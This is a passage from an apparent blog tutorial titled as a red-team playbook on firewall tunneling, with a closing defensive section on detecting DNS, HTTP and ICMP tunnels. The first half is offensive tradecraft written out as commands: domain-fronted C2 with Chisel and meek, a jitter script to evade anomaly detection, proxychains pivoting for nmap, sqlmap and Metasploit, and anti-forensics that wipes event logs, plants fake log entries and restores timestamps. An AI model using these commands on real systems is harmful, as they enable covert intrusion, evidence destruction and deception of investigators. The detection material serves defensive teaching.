Bottom Line: Data exfiltration is where the art of hacking meets the science of patience. It’s not about being fast—it’s about being invisible. Move like a ghost, leave no traces, and remember: the goal isn’t just to steal the data, but to prove you could have taken everything without anyone noticing.
Part 4: Advanced Tradecraft & OPSEC
Welcome to the big leagues. This is where we move from simply “making it work” to “making it invisible.” Operational Security (OPSEC) is what separates the pros from the script kiddies. It’s not enough to bypass the firewall—you need to do it in a way that doesn’t trigger alarms or leave traces.
4.1. Evading Deep Packet Inspection (DPI)
Remember that smart bouncer from earlier? DPI is like giving him a lie detector test and a background check. He’s not just looking at your ID anymore; he’s analyzing everything about you. Here’s how to fool even the most sophisticated systems.
Protocol Impersonation: Making Traffic Look Like Legitimate Google or Cloudflare Traffic
The goal here is perfect camouflage. Don’t just look similar to web traffic—look identical to traffic from major, trusted services.
How it works:
Use the same TLS fingerprints as Chrome or Firefox
Mimic the exact packet sizes and timing of real cloud services
Use certificates and domain names that match legitimate CDN patterns
Real-world example: Tools like Chisel can be configured to look exactly like traffic to googleapis.com or cloudfront.net. The firewall sees what appears to be a machine checking for Google Drive updates or loading resources from AWS CloudFront—completely normal behavior.
The magic command:
# Make your tunnel look like Chrome browser traffic to Google
chisel server –auth user:pass –tls-key key.pem –tls-cert cert.pem –host google-oauth.com
Traffic Morphing: Using Tools Like Meek (Uses Azure/CDN Fronts)
This is next-level evasion. Meek doesn’t just look like legitimate traffic—it actually routes through legitimate services.
How meek works:
Your tunnel traffic goes to major cloud platforms (Azure, Google Cloud, AWS)
These platforms see it as normal web traffic to their domains
The cloud platform relays the traffic to your actual C2 server
To anyone watching, it just looks like the victim machine is visiting Microsoft or Google services
Why it’s so effective:
The actual destination (your server) is never visible to the network monitor
The traffic is mixed with billions of other legitimate requests to these services
Blocking it would mean blocking Azure or Google Cloud—which most companies can’t do
Implementation:
# Meek client configuration
./meek-client –url https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
–front ajax.googleapis.com
–target your-real-server.com:443
Timing and Jitter: Mimicking Human Patterns to Avoid Anomaly Detection
Machines are predictable. Humans are not. Your tunnel needs to act human.
The Problem with Machine-Like Behavior:
Perfectly timed packets (every 10.0 seconds exactly)
Consistent packet sizes
Continuous data flow without natural breaks
The Human Solution:
Add jitter: Random delays between packets (5-15 seconds instead of exactly 10)
Vary packet sizes: Mix large and small requests like a real user
Incorporate “thinking time”: Pause during long operations as if a human is considering the next action
Follow work patterns: Be more active during business hours, quieter at night
Script example for human-like timing:
#!/bin/bash
while read command; do
# Send command through tunnel
send_to_tunnel “$command”
# Human-like delay: random between 2-8 seconds for “thinking”
sleep $((2 + RANDOM % 6))
# Occasionally take a longer break (coffee break simulation)
if [ $((RANDOM % 20)) -eq 0 ]; then
sleep $((60 + RANDOM % 120))
fi
done
Advanced Technique: Behavioral Cloning
Some advanced tools can actually monitor real user traffic on the network and mimic the exact patterns of legitimate users—when they’re active, what size data they transfer, even when they take breaks.
The Bottom Line: Evading DPI isn’t about being faster or stronger—it’s about being smarter. You’re not breaking the rules; you’re learning to play the game so well that you become invisible. The most successful red team operations are the ones where the blue team never even knows they were there until you hand them the report.
Remember: The goal isn’t to be undetectable forever—it’s to be undetectable long enough to complete your objectives and prove the point: that determined adversaries can operate freely in even the most “secure” environments.
4.2. The Power of Proxychains
Meet your new best friend: Proxychains. This unassuming tool is what transforms your clever tunnels into a superhighway for all your hacking tools. Think of it as a universal adapter that lets any tool ride through your covert tunnels.
How to Configure /etc/proxychains.conf
This configuration file is where the magic happens. Let’s break down the key settings:
The Basic Setup:
# Open the config file
sudo nano /etc/proxychains4.conf
# Key sections you need to know:
1. Proxy Types:
# Pick ONE of these chain types:
# dynamic_chain – uses proxies in order, skips dead ones
# strict_chain – uses all proxies in exact order (all must work)
# random_chain – random order from the list
dynamic_chain
2. Proxy DNS:
# This is CRUCIAL – forces DNS through your tunnel too
proxy_dns
3. Timeouts:
# Increase timeouts for slow tunnels (like DNS)
tcp_read_time_out 15000
tcp_connect_time_out 8000
4. Your Proxy List:
# [ProxyList]
# add proxies here…
# means: type host port [user pass]
# you can use multiple but we’ll start with one
socks4 127.0.0.1 1080
Chaining Multiple Proxy Types for Redundancy
This is where Proxychains gets really powerful. You can create a “proxy chain” that routes through multiple hops.
Example: Triple-Hop Obfuscation
# In /etc/proxychains4.conf
dynamic_chain
proxy_dns
# Hop 1: Your local HTTP/S tunnel
http 127.0.0.1 8080
# Hop 2: An internal SSH tunnel
socks4 192.168.1.100 1080
# Hop 3: A final DNS tunnel exit
socks5 10.0.0.50 9050
Why Chain Proxies?
Redundancy: If one tunnel dies, it tries the next
Obfuscation: Makes tracking much harder
Access: Different tunnels can reach different networks
Using Proxychains to Force Any Tool Through Your Tunnel
This is the killer feature: Make any tool think it’s inside the target network.
Basic Syntax:
proxychains <your-command>
Real-World Examples:
1. Network Scanning:
# Scan internal networks through your tunnel
proxychains nmap -sT -sV 10.10.0.0/24
# Quick port scan
proxychains nc -zv 192.168.1.50 3389
2. Web Application Testing:
# Browse internal websites
proxychains firefox http://intranet.company.local
# Directory brute-forcing
proxychains gobuster dir -u http://10.0.0.100 -w common.txt
# SQL injection testing
proxychains sqlmap -u “http://internal-app/products?id=1”
3. Exploitation:
# Run Metasploit through the tunnel
proxychains msfconsole
# Then use any module normally – it automatically routes through your proxy!
4. File Transfers:
# SMB shares
proxychains smbclient -L //192.168.1.100 -U user%pass
# FTP access
proxychains ftp 10.0.0.200
# Even wget/curl
proxychains wget http://internal-server/backup.zip
5. Database Access:
# Connect to internal databases
proxychains mysql -h 10.10.0.50 -u admin -p
proxychains psql -h 192.168.1.75 -U postgres
Pro Tips for Smooth Operation:
Handling Noisy Tools:
Some tools don’t play nice with Proxychains. Use -q for quiet mode:
proxychains -q nmap -sS 10.0.0.0/24
Debugging Connection Issues:
# See exactly what Proxychains is doing
proxychains -f /etc/proxychains4.conf -v nmap -sT 10.0.0.1
Multiple Configuration Files:
Create different configs for different engagements:
proxychains -f ~/clientA_proxy.conf nmap 10.0.0.1
The Reality Check:
Speed: Tunnels are slower than direct connections
TCP Only: Proxychains only works with TCP traffic
Tool Support: Some Windows/.exe tools won’t work
Detection: Heavy Proxychains usage can sometimes be detected
The Bottom Line: Proxychains is the bridge between your covert tunnel and your entire hacking toolkit. It’s what transforms a simple shell into a full-scale internal assessment capability. Once you master it, you’ll wonder how you ever operated without it.
4.3. Counter-Forensics: Cleaning Up
The operation is over. You’ve proven your point, gotten the data you needed, and now it’s time to disappear. This phase is just as important as the initial breach—maybe more so. Leaving traces behind isn’t just unprofessional; it can tip off defenders to your techniques and burn your hard-won access.
Removing Tools, Logs, and Artifacts from Compromised Systems
The Golden Rule: Leave the system looking exactly as you found it.
1. Remove Your Tools:
# Delete uploaded files and tools
rm -rf /tmp/chisel /tmp/reGeorg.aspx
del C:WindowsTempmimikatz.exe
# Clear temporary directories
rm -rf /tmp/.* /var/tmp/.*
del /Q C:WindowsTemp*.*
# Clean up your home directory (Linux)
rm -rf ~/.ssh/known_hosts ~/.bash_history
2. Wipe Logs (When Appropriate):
# Linux log cleaning
echo “” > /var/log/auth.log
journalctl –vacuum-time=1d
# Windows event log clearing
wevtutil el | foreach {wevtutil cl “$_”}
# Selective clearing (better than complete wiping)
# Remove only your IP addresses and usernames from logs
sed -i ‘/192.168.1.100/d’ /var/log/secure
3. Clear Artifacts:
# Remove downloaded files from browser caches
# Clear command history
history -c && history -w
Set-PSReadlineOption -HistorySaveStyle SaveNothing
# Remove registry keys (Windows)
reg delete “HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault” /va /f
Smart Approach: Don’t wipe everything—that’s a huge red flag. Instead, be surgical. Remove only entries related to your activities and leave normal system noise intact.
Killing Tunnel Processes and Removing Persistence Mechanisms
1. Graceful Process Termination:
# Find and kill tunnel processes
ps aux | grep -E “(chisel|dnscat|plink)” | grep -v grep | awk ‘{print $2}’ | xargs kill -9
# Windows task killing
tasklist | findstr “reGeorg” && taskkill /F /IM reGeorg.exe
# Check for any remaining connections
netstat -an | grep ESTABLISHED
2. Remove Persistence:
# Linux cron jobs
crontab -l | grep -v “malicious-job” | crontab –
# Windows scheduled tasks
schtasks /delete /tn “WindowsUpdateService” /f
# Remove startup items
rm -f /etc/systemd/system/malicious.service
reg delete “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun” /v “Backdoor” /f
# Clean up WMI persistence (Windows)
Get-WMIObject -Class __FilterToConsumerBinding -Namespace rootsubscription | Remove-WmiObject
3. Cover Your Tracks in Memory:
# Clear memory caches
sync; echo 3 > /proc/sys/vm/drop_caches
# Restart services you modified
systemctl restart sshd
Advanced Cleanup Techniques:
1. Timestamp Preservation:
# Restore original file timestamps
touch -r /etc/passwd /tmp/your_malicious_file
2. Log Injection (Misdirection):
# Add fake entries to confuse investigators
echo “Failed password for root from 8.8.8.8” >> /var/log/auth.log
3. File Shredding:
# Securely delete sensitive files
shred -zuf /tmp/secret_file
sdelete -p 3 -z C:tempsensitive.doc
The Professional Exit Checklist:
[ ] All tools and uploads removed
[ ] Log entries sanitized (not wiped completely)
[ ] Persistence mechanisms removed
[ ] Network connections closed
[ ] Timestamps restored
] Memory artifacts cleared
[ ] No leftover processes running
[ ] Final access method still available (if required for assessment)
The Mindset: A perfect cleanup leaves the blue team wondering if they imagined the whole thing. They might know something happened, but they can’t prove what, when, or how.
Reality Check: On real red team engagements, you might be instructed to leave some persistence for demonstration purposes. Always follow your Rules of Engagement. The goal isn’t necessarily to disappear completely, but to prove you could have.
Bottom Line: Cleaning up isn’t about hiding failure—it’s about demonstrating professional competence. The best operators are ghosts: they come, they prove the point, and they leave without a trace. Your cleanup routine is what separates the pros from the amateurs who get caught and give away their techniques.
Remember: This knowledge is for strengthening defenses. Always work within authorized engagements and help organizations improve their security posture.
Part 5: The Blue Team Perspective – Detection and Mitigation
Alright, let’s flip the script. You’ve seen how the attackers operate—now let’s talk about how to stop them. This is where we switch from thinking like a hunter to thinking like a guardian.
5.1. Building a Defensive Mindset
The old way of security was building walls and hoping they’d hold. The new way? Assume the walls are already breached and focus on detecting and containing the intruders.
Assume Breach: The Network Is Already Compromised
This isn’t being pessimistic—it’s being realistic. The “Assume Breach” mindset changes everything:
Stop asking “IF” you’re compromised: Start asking “WHEN did it happen” and “HOW do we find it?”
Focus on detection and response: Instead of just trying to keep attackers out, assume they’re already inside and build systems to catch them quickly.
Look for anomalies, not just known threats: Sophisticated attackers use custom tools and techniques that won’t trigger signature-based alerts.
What this looks like in practice:
Deploy EDR (Endpoint Detection and Response) on every endpoint
Implement robust logging and monitoring
Conduct regular threat hunting exercises
Practice incident response drills
Principle of Least Privilege & Strict Egress Filtering
These two concepts are your foundation—the digital equivalent of “need to know” and “lock the exits.”
Principle of Least Privilege:
Users and systems should only have the absolute minimum access required to do their jobs
Example: The accounting team doesn’t need access to the development servers. The web server doesn’t need domain admin rights.
How to implement it:
# Instead of giving everyone local admin rights
# Use application whitelisting or constrained privileges
# On Windows: Use Group Policy to restrict admin rights
# On Linux: Use sudo rules and proper file permissions
Strict Egress Filtering:
This is your single most effective defense against tunneling. If attackers can’t call home, their foothold is much less valuable.
The Egress Filtering Checklist:
Default deny: Block all outbound traffic by default
Whitelist required destinations: Only allow connections to approved services
Protocol-specific rules:
DNS: Only allow queries to internal DNS servers
HTTP/HTTPS: Force all traffic through a web proxy that inspects content
ICMP: Consider blocking or rate-limiting ping traffic
Application-aware filtering: Use next-gen firewalls that understand applications, not just ports
Example egress rules:
# Good: Specific and restrictive
ALLOW outbound TCP 443 to *.office365.com
ALLOW outbound TCP 587 to SMTP-relay.company.com
DENY all other outbound traffic
# Bad: Too permissive
ALLOW outbound TCP 80,443 to any
ALLOW outbound UDP 53 to any
The Reality Check: You can’t block everything—business needs come first. But you can:
Monitor what you can’t block: If you must allow outbound HTTPS, use TLS inspection to see what’s inside
Look for beaconing: Detect calls home by analyzing connection timing and patterns
Use threat intelligence: Block known malicious domains and IPs
The Blue Team Mindset Shift:
From: “How do we keep them out?”
To: “How quickly can we detect and eject them when they get in?”
Bottom Line: Defense isn’t about building an impenetrable fortress—it’s about creating a living, breathing security ecosystem that can adapt, detect, and respond. By assuming breach and implementing strict controls, you force attackers to work much harder and take bigger risks, increasing your chances of catching them in the act.
Remember: The goal isn’t perfect security (that doesn’t exist). The goal is making your network so noisy and difficult to operate in that attackers either give up or make mistakes you can catch.
5.2. Detecting Tunneling Activity
Now let’s get into the nitty-gritty of catching these tunnels. Think of yourself as a digital security guard who’s learned all the tricks burglars use. You know what to look for, and you’re watching for the subtle signs that something’s wrong.
DNS Tunneling: The Sneaky Librarian
What to watch for:
Unusually high volume of DNS queries: One machine making hundreds or thousands of DNS lookups in a short time
Long domain names: Queries with ridiculously long subdomains like A7F3E8D4C2B1A5F3E8D4C2B1.malicious.com
Requests to unknown DNS servers: Computers talking to random DNS servers instead of your corporate DNS
Unusual query types: Lots of TXT or NULL record requests (perfect for hiding data)
Real-world detection:
# Sample SIEM query for DNS anomalies
source=”dns_logs”
| stats count by src_ip, query
| where count > 1000
| where len(query) > 100
HTTP/S Tunneling: The Impostor Office Worker
What to watch for:
Consistent, beacon-like traffic: Calls to the same IP address at regular intervals (every 30 seconds, exactly)
Abnormal User-Agent strings: Fake browser IDs like “Mozilla/4.0” or “GoogleBot” from user workstations
Non-standard HTTP methods: PUT, DELETE, or custom methods from normal office computers
Strange patterns: Continuous data transfer to a single destination during off-hours
Catching them in the act:
# Web proxy alert rules
Alert IF:
– Same external IP contacted by multiple internal hosts
– User-Agent doesn’t match approved browser list
– Consistent data transfer outside business hours
– HTTPS traffic to newly registered domains
ICMP Tunneling: The Subtle Morse Code
What to watch for:
Oversized ping packets: ICMP packets larger than 100 bytes (normal pings are 64 bytes)
High frequency of ICMP traffic: Constant pinging instead of occasional network tests
ICMP during odd hours: Ping traffic at 2 AM from workstations
Data in payload: ICMP packets with structured data instead of random padding
Detection scripts:
# Monitor ICMP sizes and frequency
tcpdump -i any “icmp and greater 100”
netstat -i | grep icmp
General Signs: The Digital Body Language
Sometimes it’s not about the protocol—it’s about the behavior.
Unusual working hours:
A marketing computer active at 3 AM
Servers making outbound connections during maintenance windows
Multiple login attempts from the same machine in quick succession
Connections on unexpected ports:
Workstations connecting to external SSH ports (22)
Database servers making HTTP calls on port 80
User computers talking to obscure cloud provider IP ranges
The “Something Just Feels Wrong” Signs:
Data volume anomalies: A computer that normally sends 50MB/day suddenly sending 5GB
Geographic oddities: Connections to countries you don’t do business with
Protocol mismatches: Windows machines using Linux-specific protocols
Timing patterns: Perfectly spaced requests (machines are precise, humans are random)
Building Your Detection Strategy:
1. Baseline Normal Behavior:
# Establish what normal looks like
– Typical work hours for each department
– Normal data transfer volumes
– Approved applications and protocols
– Expected destination countries and services
2. Set Smart Thresholds:
# Don’t just look for “bad” – look for “unusual”
– DNS queries per hour: >1000 = suspicious
– ICMP packet size: >100 bytes = investigate
– HTTP calls to same IP: >50/hour = alert
– Data transfer: 10x normal volume = red flag
3. Use Behavioral Analytics:
Machine learning to spot subtle pattern changes
User and Entity Behavior Analytics (UEBA)
Peer group analysis (why is this one computer different from all its similar coworkers?)
The Blue Team Mindset: You’re not looking for “hacking”—you’re looking for “different.” The most dangerous attacks look almost exactly like normal traffic. Your job is to spot the 1% that’s off.
Pro Tip: Don’t try to catch everything at once. Start with the low-hanging fruit:
First week: Block and alert on calls to known-bad IPs
First month: Detect obvious beaconing and data exfiltration
First quarter: Implement behavioral analytics for subtle tunnels
Bottom Line: Detecting tunnels is like being a wildlife tracker. You’re not looking for the animal itself—you’re looking for footprints, broken branches, and patterns in the dirt. The better you understand normal behavior, the quicker you’ll spot the anomalies that matter.
Remember: Perfect detection is impossible, but good enough detection is achievable. Focus on making your network transparent enough that attackers have to take big risks, and you’ll catch them when they do.
Conclusion
Well, we’ve covered a lot of ground—from the basics of encapsulation to advanced tunneling techniques and how to detect them. But here’s the uncomfortable truth: this game never ends.
The Asymmetry of Offense and Defense
Let’s be real: offense has the advantage. Think about it:
Attackers need to find just one way in
Defenders have to protect every possible entry point
Attackers can take all the time they need to plan their move
Defenders have to be right 100% of the time, every time
It’s like trying to secure a building with a thousand doors and windows, while the attacker only needs to find one unlocked entrance. Tunneling exemplifies this asymmetry perfectly—attackers have infinite creativity, while defenders have limited resources.
But here’s the good news: defense doesn’t need to be perfect. It just needs to be good enough to make attackers move on to easier targets.
The Critical Need for Continuous Monitoring and Threat Hunting
You can’t set up your defenses once and call it a day. Cybersecurity isn’t a project—it’s a process.
Why continuous monitoring matters:
New tunneling tools and techniques emerge constantly
Attackers adapt their methods to bypass your latest defenses
Your network changes daily—new devices, new software, new users
Threat hunting isn’t optional anymore:
Don’t wait for alerts to go off
Actively look for the subtle signs we discussed
Assume there’s something you haven’t found yet
The best defenders find breaches months before the automated systems do
This is where the “Assume Breach” mindset pays off. Instead of asking “Are we compromised?” ask “Where are we compromised, and how long have they been here?“
Final Thoughts on the Role of Tunneling in Modern Cybersecurity
Tunneling isn’t just another attack technique—it’s a fundamental reality of modern cybersecurity. It represents the ongoing evolution of the cat-and-mouse game between attackers and defenders.
For Red Teams: Tunneling is your bread and butter. Mastering it means you can operate effectively in even the most secured environments. But remember—your goal is to make organizations stronger, not to show off how clever you are.
For Blue Teams: Understanding tunneling isn’t about paranoia—it’s about preparedness. You’re not failing because attackers get in; you’re succeeding when you detect them quickly and kick them out.
The Big Picture: Tunneling techniques will continue to evolve. We’ll see new protocols abused, new evasion methods developed, and new detection challenges emerge. But the core principles remain the same: understand your normal, watch for anomalies, and never stop learning.
The Bottom Line: In the world of cybersecurity, there are no permanent victories—only temporary advantages. The organizations that thrive are the ones that embrace this reality, continuously adapt, and understand that security isn’t a destination; it’s a journey.
Stay curious, stay vigilant, and remember: whether you’re on the red team or blue team, we’re all working toward the same goal—making the digital world a safer place.
Now go forth and defend!
The post How Hackers Use Tunneling to Bypass Any Firewall (Red Team Playbook) appeared first on Codelivly.
No Responses